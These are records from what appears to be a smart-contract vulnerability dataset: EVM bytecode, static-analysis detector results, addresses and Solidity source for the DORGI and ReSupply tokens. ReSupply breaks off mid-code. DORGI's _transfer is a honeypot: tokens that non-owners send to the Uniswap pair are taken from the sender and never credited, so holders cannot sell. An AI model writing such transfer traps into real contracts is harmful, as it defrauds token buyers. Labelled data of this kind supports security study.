b81810360408301526130f28186612ba1565b90506131016060830185612b92565b61310e6080830184612dfa565b9695505050505050565b600060208201905061312d6000830184612e09565b92915050565b600061313d61314e565b90506131498282613388565b919050565b6000604051905090565b600067ffffffffffffffff82111561317357613172613460565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131e48261332c565b91506131ef8361332c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322457613223613402565b5b828201905092915050565b600061323a8261332c565b91506132458361332c565b92508261325557613254613431565b5b828204905092915050565b600061326b8261332c565b91506132768361332c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132af576132ae613402565b5b828202905092915050565b60006132c58261332c565b91506132d08361332c565b9250828210156132e3576132e2613402565b5b828203905092915050565b60006132f98261330c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061334e8261332c565b9050919050565b60005b83811015613373578082015181840152602081019050613358565b83811115613382576000848401525b50505050565b6133918261348f565b810181811067ffffffffffffffff821117156133b0576133af613460565b5b80604052505050565b60006133c48261332c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133f7576133f6613402565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61379f816132ee565b81146137aa57600080fd5b50565b6137b681613300565b81146137c157600080fd5b50565b6137cd8161332c565b81146137d857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122095d650d07d60d531ef5041b43320964eb0d0fcd90be52adad7016b3ac11d485164736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,541
0x54c9a711f2ce77c196735afeec910b3036d4ac5c
/** *Submitted for verification at Etherscan.io on 2021-05-12 */ pragma solidity =0.8.1; // DOGE CORGI // FOR DOGE, CORGI FANS library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function burn(uint256 amount) external; function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function burnFrom(address account, uint256 amount) external; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract DORGI is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name = "DOGE CORGI"; string private _symbol = "DORGI"; uint8 private _decimals = 18; address private uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address private pairAddress; address private _owner = msg.sender; uint256 private _initialSupply = 1e14*1e18; constructor () { _mint(address(this), _initialSupply); } modifier onlyOwner() { require(isOwner(msg.sender)); _; } function isOwner(address account) public view returns(bool) { return account == _owner; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function addLiquidity() public payable onlyOwner { IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(uniRouter); pairAddress = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), _initialSupply); uniswapV2Router.addLiquidityETH{value: msg.value}( address(this), _initialSupply, 0, 0, _owner, block.timestamp ); } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function burn(uint256 amount) public virtual override { _burn(msg.sender, amount); } function burnFrom(address account, uint256 amount) public virtual override { uint256 decreasedAllowance = allowance(account, msg.sender).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, msg.sender, decreasedAllowance); _burn(account, amount); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); if(sender == _owner || sender == address(this) || recipient == address(this)) { _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else if (recipient == pairAddress){ } else{ _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } receive() external payable {} }
0x6080604052600436106100ec5760003560e01c806342966c681161008a578063a457c2d711610059578063a457c2d714610327578063a9059cbb14610364578063dd62ed3e146103a1578063e8078d94146103de576100f3565b806342966c681461026d57806370a082311461029657806379cc6790146102d357806395d89b41146102fc576100f3565b806323b872dd116100c657806323b872dd1461018b5780632f54bf6e146101c8578063313ce567146102055780633950935114610230576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d6103e8565b60405161011a91906118fd565b60405180910390f35b34801561012f57600080fd5b5061014a6004803603810190610145919061164e565b61047a565b60405161015791906118e2565b60405180910390f35b34801561016c57600080fd5b50610175610491565b60405161018291906119df565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad91906115ff565b61049b565b6040516101bf91906118e2565b60405180910390f35b3480156101d457600080fd5b506101ef60048036038101906101ea9190611571565b610566565b6040516101fc91906118e2565b60405180910390f35b34801561021157600080fd5b5061021a6105c0565b60405161022791906119fa565b60405180910390f35b34801561023c57600080fd5b506102576004803603810190610252919061164e565b6105d7565b60405161026491906118e2565b60405180910390f35b34801561027957600080fd5b50610294600480360381019061028f919061168a565b61067c565b005b3480156102a257600080fd5b506102bd60048036038101906102b89190611571565b610689565b6040516102ca91906119df565b60405180910390f35b3480156102df57600080fd5b506102fa60048036038101906102f5919061164e565b6106d1565b005b34801561030857600080fd5b50610311610725565b60405161031e91906118fd565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061164e565b6107b7565b60405161035b91906118e2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061164e565b610876565b60405161039891906118e2565b60405180910390f35b3480156103ad57600080fd5b506103c860048036038101906103c391906115c3565b61088d565b6040516103d591906119df565b60405180910390f35b6103e6610914565b005b6060600380546103f790611b55565b80601f016020809104026020016040519081016040528092919081815260200182805461042390611b55565b80156104705780601f1061044557610100808354040283529160200191610470565b820191906000526020600020905b81548152906001019060200180831161045357829003601f168201915b5050505050905090565b6000610487338484610c40565b6001905092915050565b6000600254905090565b60006104a8848484610e0b565b61055b843361055685604051806060016040528060288152602001611e2160289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112bc9092919063ffffffff16565b610c40565b600190509392505050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6000600560009054906101000a900460ff16905090565b6000610672338461066d85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610be290919063ffffffff16565b610c40565b6001905092915050565b6106863382611320565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600061070982604051806060016040528060248152602001611e49602491396106fa863361088d565b6112bc9092919063ffffffff16565b9050610716833383610c40565b6107208383611320565b505050565b60606004805461073490611b55565b80601f016020809104026020016040519081016040528092919081815260200182805461076090611b55565b80156107ad5780601f10610782576101008083540402835291602001916107ad565b820191906000526020600020905b81548152906001019060200180831161079057829003601f168201915b5050505050905090565b600061086c338461086785604051806060016040528060258152602001611e6d60259139600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112bc9092919063ffffffff16565b610c40565b6001905092915050565b6000610883338484610e0b565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61091d33610566565b61092657600080fd5b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561099357600080fd5b505afa1580156109a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cb919061159a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a2d57600080fd5b505afa158015610a41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a65919061159a565b6040518363ffffffff1660e01b8152600401610a82929190611858565b602060405180830381600087803b158015610a9c57600080fd5b505af1158015610ab0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ad4919061159a565b600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b213082600854610c40565b8073ffffffffffffffffffffffffffffffffffffffff1663f305d7193430600854600080600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401610b8a96959493929190611881565b6060604051808303818588803b158015610ba357600080fd5b505af1158015610bb7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bdc91906116b3565b50505050565b6000808284610bf19190611a31565b905083811015610c36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2d9061195f565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca7906119bf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d179061193f565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dfe91906119df565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e729061199f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee29061191f565b60405180910390fd5b610ef68383836114ce565b610f6181604051806060016040528060268152602001611dfb602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112bc9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061102a57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061106057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611162576110b6816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610be290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161115591906119df565b60405180910390a36112b7565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111bd576112b6565b61120e816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610be290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112ad91906119df565b60405180910390a35b5b505050565b6000838311158290611304576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fb91906118fd565b60405180910390fd5b50600083856113139190611a87565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611390576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113879061197f565b60405180910390fd5b61139c826000836114ce565b61140781604051806060016040528060228152602001611dd9602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112bc9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061145e816002546114d390919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114c291906119df565b60405180910390a35050565b505050565b600061151583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112bc565b905092915050565b60008135905061152c81611daa565b92915050565b60008151905061154181611daa565b92915050565b60008135905061155681611dc1565b92915050565b60008151905061156b81611dc1565b92915050565b60006020828403121561158357600080fd5b60006115918482850161151d565b91505092915050565b6000602082840312156115ac57600080fd5b60006115ba84828501611532565b91505092915050565b600080604083850312156115d657600080fd5b60006115e48582860161151d565b92505060206115f58582860161151d565b9150509250929050565b60008060006060848603121561161457600080fd5b60006116228682870161151d565b93505060206116338682870161151d565b925050604061164486828701611547565b9150509250925092565b6000806040838503121561166157600080fd5b600061166f8582860161151d565b925050602061168085828601611547565b9150509250929050565b60006020828403121561169c57600080fd5b60006116aa84828501611547565b91505092915050565b6000806000606084860312156116c857600080fd5b60006116d68682870161155c565b93505060206116e78682870161155c565b92505060406116f88682870161155c565b9150509250925092565b61170b81611abb565b82525050565b61171a81611acd565b82525050565b61172981611b10565b82525050565b600061173a82611a15565b6117448185611a20565b9350611754818560208601611b22565b61175d81611be5565b840191505092915050565b6000611775602383611a20565b915061178082611bf6565b604082019050919050565b6000611798602283611a20565b91506117a382611c45565b604082019050919050565b60006117bb601b83611a20565b91506117c682611c94565b602082019050919050565b60006117de602183611a20565b91506117e982611cbd565b604082019050919050565b6000611801602583611a20565b915061180c82611d0c565b604082019050919050565b6000611824602483611a20565b915061182f82611d5b565b604082019050919050565b61184381611af9565b82525050565b61185281611b03565b82525050565b600060408201905061186d6000830185611702565b61187a6020830184611702565b9392505050565b600060c0820190506118966000830189611702565b6118a3602083018861183a565b6118b06040830187611720565b6118bd6060830186611720565b6118ca6080830185611702565b6118d760a083018461183a565b979650505050505050565b60006020820190506118f76000830184611711565b92915050565b60006020820190508181036000830152611917818461172f565b905092915050565b6000602082019050818103600083015261193881611768565b9050919050565b600060208201905081810360008301526119588161178b565b9050919050565b60006020820190508181036000830152611978816117ae565b9050919050565b60006020820190508181036000830152611998816117d1565b9050919050565b600060208201905081810360008301526119b8816117f4565b9050919050565b600060208201905081810360008301526119d881611817565b9050919050565b60006020820190506119f4600083018461183a565b92915050565b6000602082019050611a0f6000830184611849565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611a3c82611af9565b9150611a4783611af9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611a7c57611a7b611b87565b5b828201905092915050565b6000611a9282611af9565b9150611a9d83611af9565b925082821015611ab057611aaf611b87565b5b828203905092915050565b6000611ac682611ad9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000611b1b82611af9565b9050919050565b60005b83811015611b40578082015181840152602081019050611b25565b83811115611b4f576000848401525b50505050565b60006002820490506001821680611b6d57607f821691505b60208210811415611b8157611b80611bb6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b611db381611abb565b8114611dbe57600080fd5b50565b611dca81611af9565b8114611dd557600080fd5b5056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220afd8744297ea530509ff8fb8406b97401d10aeae771af8749af290de6b15888d64736f6c63430008010033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,542
0xc7686B849E414c9E1A77a641F003Fb7B3d310738
pragma solidity ^0.6.6; contract Ownable { address public owner; event TransferOwnership(address _from, address _to); modifier onlyOwner() { require(msg.sender == owner, "only owner"); _; } function setOwner(address _owner) external onlyOwner { emit TransferOwnership(owner, _owner); owner = _owner; } } contract ReSupply is Ownable { using SafeMath for uint256; event Resupplier(uint256 indexed epoch, uint256 scaleFact); event NewResupplier(address oldResupplier, address NewResupplier); event Transfer(address indexed from, address indexed to, uint amount); event Approval(address indexed owner, address indexed spender, uint amount); string public name = "ReSupply"; string public symbol = "RSP"; uint8 public decimals = 18; address public resupplier; address public rewardAddress; /** * @notice Internal decimals used to handle scaling factor */ uint256 public constant internalDecimals = 10**24; /** * @notice Used for percentage maths */ uint256 public constant BASE = 10**18; /** * @notice Used for setting the anty fraud system */ bool private isContractInitialized = false; uint256 public constant START = 1604687400; uint256 public DAYS = 45; /** * @notice Scaling factor that adjusts everyone's balances if the price is above the peg */ uint256 public rSPScaleFact = BASE; mapping (address => uint256) internal _rSPBalances; mapping (address => mapping (address => uint256)) internal _allowedFragments; mapping(address => bool) public whitelistFrom; mapping(address => bool) public whitelistTo; mapping(address => bool) public whitelistResupplier; address public noResupplierAddress; address public sellerAddress; uint256 initSupply = 0; uint256 _totalSupply = 0; uint16 public SELL_FEE = 33; uint16 public TX_FEE = 50; event WhitelistFrom(address _addr, bool _whitelisted); event WhitelistTo(address _addr, bool _whitelisted); event WhitelistResupplier(address _addr, bool _whitelisted); constructor( uint256 initialSupply, address initialSupplyAddr ) public { owner = msg.sender; emit TransferOwnership(address(0), msg.sender); _mint(initialSupplyAddr,initialSupply); isContractInitialized = true; } function totalSupply() public view returns (uint256) { return _totalSupply; } function getSellBurn(uint256 value) public view returns (uint256) { uint256 nPercent = value.divRound(SELL_FEE); return nPercent; } function getTxBurn(uint256 value) public view returns (uint256) { uint256 nPercent = value.divRound(TX_FEE); return nPercent; } function _isWhitelisted(address _from, address _to) internal view returns (bool) { return whitelistFrom[_from]||whitelistTo[_to]; } function 